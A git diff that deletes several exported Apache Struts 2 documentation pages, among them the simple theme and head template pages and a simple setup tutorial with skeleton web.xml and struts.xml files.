-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13857">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13857">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13857">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13857">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13857">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent">
-
-<p>Right now, the expression language (OGNL) will call <code>getModel</code>, or any other Value Stack property, each time the method is referenced. One possible enhancement to the framework would be to enable caching, to avoid redundant calls when you know the value will not change. </p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/simple-head-template.html b/content/docs/simple-head-template.html
deleted file mode 100644
index 4c85479..0000000
--- a/content/docs/simple-head-template.html
+++ /dev/null
@@ -1,182 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>simple head template</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="tag-developers-guide.html">Tag Developers Guide</a>&nbsp;&gt;&nbsp;<a href="struts-tags.html">Struts Tags</a>&nbsp;&gt;&nbsp;<a href="ui-tags.html">UI Tags</a>&nbsp;&gt;&nbsp;<a href="themes-and-templates.html">Themes and Templates</a>&nbsp;&gt;&nbsp;<a href="simple-theme.html">simple theme</a>&nbsp;&gt;&nbsp;<a href="simple-head-template.html">simple head template</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">simple head template</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13936">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13936">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13936">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13936">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13936">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13936">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>The <a shape="rect" href="simple-theme.html">simple theme</a> <a shape="rect" href="head.html">head</a> template only does one thing: it loads the minimal Ajax/Dojo support so that tags can import Dojo widgets easily.</p>
-
-<p>The source of the simple head.ftl template is:</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: xml; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-&lt;#--
-/*
- * $Id$
- *
- * Licensed to the Apache Software Foundation (ASF) under one
- * or more contributor license agreements.  See the NOTICE file
- * distributed with this work for additional information
- * regarding copyright ownership.  The ASF licenses this file
- * to you under the Apache License, Version 2.0 (the
- * &quot;License&quot;); you may not use this file except in compliance
- * with the License.  You may obtain a copy of the License at
- *
- *  http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing,
- * software distributed under the License is distributed on an
- * &quot;AS IS&quot; BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
- * KIND, either express or implied.  See the License for the
- * specific language governing permissions and limitations
- * under the License.
- */
---&gt;
-&lt;script src=&quot;${base}/struts/utils.js&quot; type=&quot;text/javascript&quot;&gt;&lt;/script&gt;
-]]></script>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/simple-setup.html b/content/docs/simple-setup.html
deleted file mode 100644
index afa74c1..0000000
--- a/content/docs/simple-setup.html
+++ /dev/null
@@ -1,232 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Simple Setup</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="tutorials.html">Tutorials</a>&nbsp;&gt;&nbsp;<a href="bootstrap.html">Bootstrap</a>&nbsp;&gt;&nbsp;<a href="ready-set-go.html">Ready, Set, Go!</a>&nbsp;&gt;&nbsp;<a href="simple-setup.html">Simple Setup</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Simple Setup</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14183">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14183">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14183">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14183">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14183">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14183">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>If for some reason the blank template or archetype doesn't work out, we can just setup an application from scratch.</p>
-
-<h2 id="SimpleSetup-SetuptheWebApplicationFileStructure">Setup the Web Application File Structure</h2>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-/tutorial/
-/tutorial/META-INF/
-/tutorial/WEB-INF/
-/tutorial/WEB-INF/classes/struts.xml
-/tutorial/WEB-INF/lib/
-/tutorial/WEB-INF/lib/minimum JARs + any plugin JARs + plugin dependencies
-/tutorial/WEB-INF/web.xml
-</pre>
-</div></div>
-<ul><li>Copy to your <code>webapp/lib</code> directory
-	<ul><li>the required JARs (see next section),</li><li>any Struts plugin JARs,</li><li>any plugin dependencies.</li></ul>
-	</li></ul>
-
-
-<div class="confluence-information-macro confluence-information-macro-tip"><span class="aui-icon aui-icon-small aui-iconfont-approve confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>To customize the Struts templates (how HTML is rendered from the tags), copy into the application's <code>webapp</code> directory the framework's <code>/src/java/template</code> directory.</p></div></div>
-
-<h2 id="SimpleSetup-InstalltheMinimumSetofLibrariesandConfigurationFiles">Install the Minimum Set of Libraries and Configuration Files</h2>
-
-<p>The following files are a minium requirement for your application.</p>
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p> Filename </p></th><th colspan="1" rowspan="1" class="confluenceTh"><p> Description </p></th></tr><tr><td colspan="1" rowspan="1" class="confluenceTd"><p> <code>struts2-core.jar</code> </p></td><td colspan="1" rowspan="1" class="confluenceTd"><p> Framework library itself, found in distribution root directory </p></td></tr><tr><td colspan="1" rowspan="1" class="confluenceT [...]
-
-
-<p>If any Struts 2 Plugins are included, then other JARs may be needed too. For example, the optional Spring Plugin requires the Spring JARs to be present.</p>
-
-<h2 id="SimpleSetup-SetuptheWebApplicationDeploymentDescriptor(web.xml)">Setup the Web Application Deployment Descriptor (<code>web.xml</code>)</h2>
-
-<p>Create an <code>web.xml</code> file in <code>[webapp]/WEB-INF</code> (or merge into it the framework resources).</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>web.xml</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;?xml version="1.0"?&gt;
-&lt;!DOCTYPE web-app PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
-"http://java.sun.com/dtd/web-app_2_3.dtd"&gt;
-
-&lt;web-app&gt;
-  &lt;display-name&gt;My Application&lt;/display-name&gt;
-  &lt;filter&gt;
-    &lt;filter-name&gt;struts2&lt;/filter-name&gt;
-    &lt;filter-class&gt;org.apache.struts2.dispatcher.ng.filter.StrutsExecuteFilter&lt;/filter-class&gt;
-  &lt;/filter&gt;
-
-  &lt;filter-mapping&gt;
-    &lt;filter-name&gt;struts2&lt;/filter-name&gt;
-    &lt;url-pattern&gt;/*&lt;/url-pattern&gt;
-  &lt;/filter-mapping&gt;
-&lt;/web-app&gt;
-
-</pre>
-</div></div>
-<p>The standard <code>web.xml</code> registers a FilterDispatcher to enable framework functionality for your requests. </p>
-
-<p>If other packages are being used, like SiteMesh or Spring, then other filters may need to be configured too </p>
-
-<p><img class="emoticon emoticon-light-on" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/lightbulb_on.png" data-emoticon-name="light-on" alt="(lightbulb)"> See also: <a shape="rect" href="webxml.html">web.xml</a></p>
-
-<h2 id="SimpleSetup-SetuptheStrutsConfiguration(struts.xml)">Setup the Struts Configuration (<code>struts.xml</code>)</h2>
-
-<p>Create a skeleton <code>struts.xml</code> file in <code>/$APP/WEB-INF/classes</code>.</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>struts.xml</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;!DOCTYPE struts PUBLIC
-    "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
-    "http://struts.apache.org/dtds/struts-2.0.dtd"&gt;
-
-&lt;struts&gt;&lt;!-- Configuration for the default package. --&gt;
-	&lt;package name="default" extends="struts-default"&gt;
-         ...
-	&lt;/package&gt;
-&lt;/struts&gt;
-</pre>
-</div></div>
-<p>For now, the <code>struts.xml</code> just defines a default package (with the &lt;package&gt; section) where framework elements like <code>actions</code>, <code>results</code> and <code>interceptors</code> are registered.</p>
-
-<p><img class="emoticon emoticon-light-on" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/lightbulb_on.png" data-emoticon-name="light-on" alt="(lightbulb)"> See also: <a shape="rect" href="strutsxml.html">struts.xml</a></p>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p> Next </p></th><td colspan="1" rowspan="1" class="confluenceTd"><p> Onward to <a shape="rect" href="hello-world.html">Hello World</a> </p></td></tr><tr><th colspan="1" rowspan="1" class="confluenceTh"><p> Prev </p></th><td colspan="1" rowspan="1" class="confluenceTd"><p> Return to <a shape="rect" href="ready-set-go.html">Ready, Set, Go!</a> </p></td></tr></tbody></table>< [...]
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/simple-theme.html b/content/docs/simple-theme.html
deleted file mode 100644
index 027218f..0000000
--- a/content/docs/simple-theme.html
+++ /dev/null
@@ -1,157 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>simple theme</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="tag-developers-guide.html">Tag Developers Guide</a>&nbsp;&gt;&nbsp;<a href="struts-tags.html">Struts Tags</a>&nbsp;&gt;&nbsp;<a href="ui-tags.html">UI Tags</a>&nbsp;&gt;&nbsp;<a href="themes-and-templates.html">Themes and Templates</a>&nbsp;&gt;&nbsp;<a href="simple-theme.html">simple theme</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">simple theme</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14291">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14291">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14291">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14291">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14291">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14291">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>The simple theme renders "bare bones" HTML elements. The simple theme is most often used as a starting point for other themes. (See <a shape="rect" href="extending-themes.html">Extending Themes</a> for more.)</p>
-
-<p>For example, the <a shape="rect" href="textfield.html">textfield</a> tag renders the HTML <code>&lt;input/&gt;</code> tag without a label, validation, error reporting, or any other formatting or functionality.</p>
-<div class="confluence-information-macro confluence-information-macro-tip"><span class="aui-icon aui-icon-small aui-iconfont-approve confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>Both the <a shape="rect" href="xhtml-theme.html">xhtml theme</a> and <a shape="rect" href="cssxhtml-theme.html">css_xhtml theme</a> extend the simple theme. Look to them for examples of how to build on the foundation laid by the simple theme.</p></div></div>
-
-<h2 id="simpletheme-HeadTag">Head Tag</h2>
-
-<p>The simple theme <a shape="rect" href="head.html">head</a> template prints out a javascript include required for the <a shape="rect" href="datetimepicker.html">datetimepicker</a> tag to render properly.</p></div>
-        </div>
-
-                    <div class="tabletitle">
-                Children
-            <span class="smalltext" id="show" style="display: inline;">
-              <a href="javascript:showChildren()">Show Children</a></span>
-            <span class="smalltext" id="hide" style="display: none;">
-              <a href="javascript:hideChildren()">Hide Children</a></span>
-            </div>
-            <div class="greybox" id="children" style="display: none;">
-                                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                            </div>
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/simplelogin-with-session.html b/content/docs/simplelogin-with-session.html
deleted file mode 100644
index 97af01c..0000000
--- a/content/docs/simplelogin-with-session.html
+++ /dev/null
@@ -1,342 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
